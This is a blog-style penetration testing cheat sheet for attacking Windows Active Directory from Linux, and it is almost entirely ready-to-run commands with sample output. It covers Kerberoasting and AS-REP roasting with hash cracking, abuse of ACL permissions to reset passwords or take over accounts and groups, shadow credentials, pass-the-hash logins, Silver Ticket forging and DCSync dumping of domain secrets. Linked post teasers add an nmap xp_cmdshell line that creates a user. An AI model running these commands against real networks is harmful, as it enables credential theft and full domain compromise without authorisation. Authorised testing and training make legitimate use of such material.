Skip to main content

Active Directory Penetration Testing using Linux

By

 


Kerberoasting

#Get TGS Ticket Using GetUserSPNs.py
sudo GetUserSPNs.py -request -dc-ip 10.10.10.10 Steins.local/mark 
Find Pre-Auth Disabled Users

GetNPUsers.py DOMAIN/ -usersfile user.txt -outputfile hash.txt -dc-ip 10.10.10.10

#brute force the hashes
hashcat -a 3 -m 18200 a.txt /usr/share/wordlists/rockyou.txt --force
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 

Running Bloodhound on Linux 

#Match the Time with Doamin controller. 
sudo apt-get install ntpdate
sudo ntpdate <DC IP>

#Add required DNS to /etc/hosts if there is no direct DNS 

#Once you have creds for any user -run blood hound to look for priv esc
git clone https://github.com/dirkjanm/BloodHound.py
pip install
bloodhound-python -u UserName -p "P@SSW)RD!" -d steins.local -ns 10.10.10.10 -c All
Abusing GenericAll or ForceChangePassword or Password Reset

git clone https://github.com/CravateRouge/bloodyAD

#User1 has GenericAll Permisions on User2
#Change password for User2
python bloodyAD.py -u "User1" -p "Password1" -d "domain.local" --host "10.10.10.4" set password "User2" "12345678"

Abusing GenericAll - Targeted Kerberoasing - Setting Pre-Auth

#use this when you have NT Hash instead of Creds;
#use targetedKerberoast - when you have username/password

#Request TGT; Add $ for Machine/Computer Accounts; $ is not required for user accounts
impacket-getTGT Domain.Local/ControlledUser$ -hashes f2w34r34eg54t354g345213:g3t343fg434tg343t4334gqgu

#Add the TGT path to Env Varaibles
export KRB5CCNAME=$(pwd)/ControlledUser$.ccache

#Set Pre-auth for a TargetUser; -k is to use Kerberos auth; uses KRB5CCNAME ENV variable 
bloodyAD --host dc01.domain.local -d "Domain.Local" --dc-ip 10.10.10.10 -k add uac TargetUserName -f DONT_REQ_PREAUTH

#Get the list of users 
netexec smb   dc01.domain.local -u ControlledUser$ -k --use-kcache  --rid-brute | grep "SidTypeUser" | cut -d "\\" -f2 | cut -d " " -f1 > users.txt

#Dump the Hashes of Pre-Auth Disabled Users 
GetNPUsers.py domain.local/ -usersfile users.txt -outputfile hash.txt -dc-ip 10.10.10.10

#Crack the hash 
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force

Abusing GenericWrite 

targetedKerberoast is a Python script that can, like many others (e.g. GetUserSPNs.py), print "kerberoast" hashes for user accounts that have a SPN set. 
for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), 
print the "kerberoast" hash and delete the temporary SPN set for that operation. This is called targeted Kerberoasting

git clone https://github.com/ShutdownRepo/targetedKerberoast.git
python -m pip install -r requirements.txt

targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword' --dc-ip 10.10.10.10

#Crack the hash 
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force

####### IF you are unable to crack KRBTGT HASH ########
# Next Option is to Get NT hash - then pass the hash to login
#Shadow Credentials attack - it generates a cert, use that cert to get TGT
#Then use TGT to get NT Hash 

git clone https://github.com/ShutdownRepo/pywhisker.git
python -m pip install -r requirements.txt
sudo python setup.py install 

# Install pywhisker
pywhisker -d "DOMAIN.Local" -u "ControlledUser" -p "P@SSw0rd!" --target "victim_user" --action "add"
[+] Saved PFX (#PKCS12) certificate & key at path: XNGPSfJF.pfx
[*] Must be used with password: Tg8nymEvBWvLLsJoGmXA
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

# Install PKINITtools
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

#incase of libcrypto errors 
pip3 install -I git+https://github.com/wbond/oscrypto.git

# Obtain a TGT 
# Use the -cert-pfx & -pfx-pass from pywhisker
python ./gettgtpkinit.py -cert-pfx ./XNGPSfJF.pfx -pfx-pass Tg8nymEvBWvLLsJoGmXA DOMAIN.Local/victim_user TGT.ccache
[*] INFO:minikerberos:0eea2afda8e666301911b3cd28f5b0004f59fb9ee71b04ba2bd507354e7d6691
[*] INFO:minikerberos:Saved TGT to file

#Save the TGT.ccache file to PATH 
export KRB5CCNAME=/home/user/TGT.ccache

#Get NT Hash 
#Use the key from gettgtpkinit.py 
python getnthash.py -key 0eea2afda8e666301911b3cd28f5b0004f59fb9ee71b04ba2bd507354e7d6691 DOMAIN.Local/victim_user
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
[+] Recovered NT Hash b121d1522bddd4578c97g5a6a1158891

#use evil-winrm to login
evil-winrm  -i 10.10.10.10 -u victim_user -H b121d1522bddd4578c97g5a6a1158891
Abusing Generic Write on Group - Adding a user to Target group

# Adding a user when you have username/password 
net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"

#Adding a User when you have NT Hash - this only work when NTLM Auth is enabled 
pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"

#Verify if the user is added successfully
net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"

Adding a user when you only have NT Hash and NTLM auth is not enabled - only kerberos 
#List the members of the group
bloodyAD --host "dc01.domain.local" -d "domain.local" --kerberos --dc-ip 10.10.10.10 -u 'ControlledUser$' -k get object "CN=TargetGroup,OU=Target,DC=Domain,DC=Local" --attr member

#add yourself/ControlledUser to the group 
bloodyAD --host "dc01.domain.local" -d "domain.local" --kerberos --dc-ip 10.10.10.10 -u 'ControlledUser$' -k add groupMember "CN=TargetGroup,OU=Target,DC=Domain,DC=Local" 'UserToAddtoGroup$'

#Validate if the user is now added to the target group
bloodyAD --host "dc01.domain.local" -d "domain.local" --kerberos --dc-ip 10.10.10.10 -u 'ControlledUser$' -k get object "CN=TargetGroup,OU=Target,DC=Domain,DC=Local" --attr member

Abusing WriteOwner on a Group 

Example Scenario: `USER1` has write owner permissions on `dev_group@DOMAIN.LOCAL` and it  has `dev_user` user

#change the ownership of the object
owneredit.py -action write -new-owner 'USER1' -target 'dev_group' 'DOMAIN.LOCAL'/'USER1':'P@ssw0rd!'

#To abuse ownership of a group object, you may grant yourself the AddMember privilege
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'USER1' -target-dn 'CN=dev_group,CN=USERS,DC=DOMAIN,DC=LOCAL' 'DOMAIN.LOCAL'/'USER1':'P@ssw0rd!'

# Add yourself/user to the group 
net rpc group addmem "dev_group" "USER1" -U 'DOMAIN.LOCAL'/'USER1'%'P@ssw0rd!' -S "dc01.DOMAIN.LOCAL"

#Check if the user is added successfully 
net rpc group members "dev_group" -U 'DOMAIN.LOCAL'/'USER1'%'P@ssw0rd!' -S "dc01.DOMAIN.LOCAL"
Abusing WriteOwner Permission on User

#ControllerUser has WriteOwner permissions on  Victim_User
owneredit.py -action write -new-owner 'ControllerUser' -target 'Victim_User' 'DOMAIN.Local'/'ControllerUser':'Controlled_Passwd'

# Set full control of Victim_User to ControllerUser
dacledit.py -action 'write' -rights 'FullControl' -principal 'ControllerUser' -target 'Victim_User' 'DOMAIN.Local'/'ControllerUser':'Controlled_Passwd'

#install Certipy
pip3 install certipy-ad

#Certipy’s `shadow auto` command to retrieve the NT hash of the victim.
certipy shadow auto -u 'ControllerUser@DOMAIN.Local' -p "Controlled_Passwd" -account 'Victim_User' -dc-ip '10.10.10.10'
[*] Successfully restored the old Key Credentials for 'Victim_User'
[*] NT hash for 'Victim_User': b121d1522bddd4578c97g5a6a1158891

#use evil-winrm to login
evil-winrm  -i 10.10.10.10 -u victim_user -H b121d1522bddd4578c97g5a6a1158891


Requesting TGT

impacket-getTGT domain.local/Username:'P@ssw0rd' -dc-ip 10.10.10.10
impacket-getTGT domain.local/Username@dc01.domain.local -dc-ip 10..10.10.10

export KRB5CCNAME=$(pwd)/username.ccache

evil-winrm -i dc01.domain.local -r domain.local

Forging Silver Ticket

A Silver Ticket attack involves forging a Kerberos service ticket (TGS) to gain unauthorized access to specific services (SPNs) on a Windows domain without needing interaction with the Domain Controller (DC). Unlike a Golden Ticket, which compromises the KRBTGT account and can create tickets for any service, a Silver Ticket is limited to the service for which it is forged.

#get SID of a ControlledUser/MachineAccount/ServiceAccount
nxc ldap dc-01.domain.local -u 'ControlledUser' -p 'Password' --get-sid

#Forge a Kerberos service ticket (TGS) for a specific SPN.
#TGS (Ticket Granting Service) ticket is generated without needing to communicate with the Key Distribution Center (KDC)
#SPN Examples - MSSQLSvc/sqlserver.domain.local, HTTP/webserver.domain.local, CIFS/server.domain.local
impacket-ticketer -nthash 1a21d6fa64sdfsd1sd4sd5sr5e123 -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX -domain domain.local -spn cifs/server.domain.local Administrator

#forged Silver Ticket is stored as a Kerberos Credential Cache (ccache) file; export it to KRB5CCNAME env to use it 
export KRB5CCNAME=Administrator.ccache

#login via any if below means 
evil-winrm -i server.domain.local -r domain.local
smbclient.py -k -no-pass server.domain.local
psexec.py domain.local/Administrator@server.domain.local -k -no-pass
wmiexec.py domain.local/Administrator@server.domain.local -k -no-pass
DCSync Attack

secretsdump.py 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'

Enabling a User account 

#List userAccountControl attribute of all the users 
bloodyAD --host "dc01.domain.local" -d "domain.local" --kerberos --dc-ip 10.10.10.10 -k get search --filter "(objectClass=user)" --attr userAccountControl

#enable an User account 
bloodyAD --host dc01.domain.local -d "domain.local" --dc-ip 10.10.10.10 -k remove uac $Disabled_USER -f ACCOUNTDISABLE

#Validate if the user account is enabled or not 
bloodyAD --host "dc01.domain.local" -d "domain.local" --kerberos --dc-ip 10.10.10.10 -k get search --filter "(objectClass=user)" --attr userAccountControl
krbrelayx 

git clone https://github.com/dirkjanm/krbrelayx

#Incase of Openssl error - #  'OpenSSL.crypto' has no attribute 'PKCS12
pip install pyOpenSSL==24.0.0 --break-system-package



Ping Sweep

#!/bin/bash

network=$1

for ip in {1..254}; do
    if ping -c 1 -W 1 $network.$ip | grep -q "64 bytes"; then
        echo "Host $network.$ip is up"
    fi
done


save the above script into ping_sweep.sh
chmod +x ping_sweep.sh
./ping_sweep.sh 192.168.1



Labels:

Comments

Post a Comment

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

By
1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...
Post a Comment
Read more

Windows Priv Escallation

By
1.     Windows Privilege Escalation Commands  _ new 2.     Transferring Files to Windows 3.    Priv Esc Commands 4.    Priv Esc Guide  5.    Payload All the Things --> great Coverage 6.    WinRM -- Windows Priv Esc    7. Newb Guide - Windows Pentest    8. Kerberos Attacks Explained     9. How to Attack Kerberos 101    Use PowerSploit/PrivEsc/Powerup.ps1 to find some potential info check for Non-windows processes in windows using netstat Step 1: Check net user and admin and user rights Step 2: Check if we have access of powershell if yes then run powerup.ps1,sherlock.ps1 and JAWS.ps1. Step 3: Try to get Meterpreter. Step 4: Load mimikatz ,try bypass UAC , check SAM SYSTEM etc. Step 5: check for weird programs and registry. Step 6: If the box is Domain Controller - Enum - Enum SMB Users/Ldap Users/ Blood Hound - GUI AD En...
Post a Comment
Read more

Forensics & Crypto

By
Online Decoder --> https://2cyr.com/decode/ Encoding errors -->  https://ftfy.now.sh/ File Signatures List -->  Click here PCAP Analysis: -->  https://www.packettotal.com/ Online Cipher Decryptors: CyberChef  - Cipher Decoder   Crack Station-Hash Cracke r Decrypt Any Kind of Hash 1)  Cipher Statistics 2)  Index of Coincidence Calculator - Online IC Cryptanalysis Tool 3)  Tools List (Awesome and Fantastic Tools) Available on dCode 4)  Solve an Aristocrat or Patristocrat 5)  RSA attack tool (mainly for ctf) - retreive private key from weak public key and/or uncipher data 5-1)  RSA - Find PQ using N 6)  BertNase's Own Hide content in a Image made of blocks - npiet fun! 7)  Vigenere Solver - www.guballa.de 8)  Fernet (Decode) 9)  Unicode Text Steganography Encoders/Decoders 10)  All in ONE encoders and Decoders Tool 11) Cryptii - Decoder Image Forensics: 1)  Forensical...
Post a Comment
Read more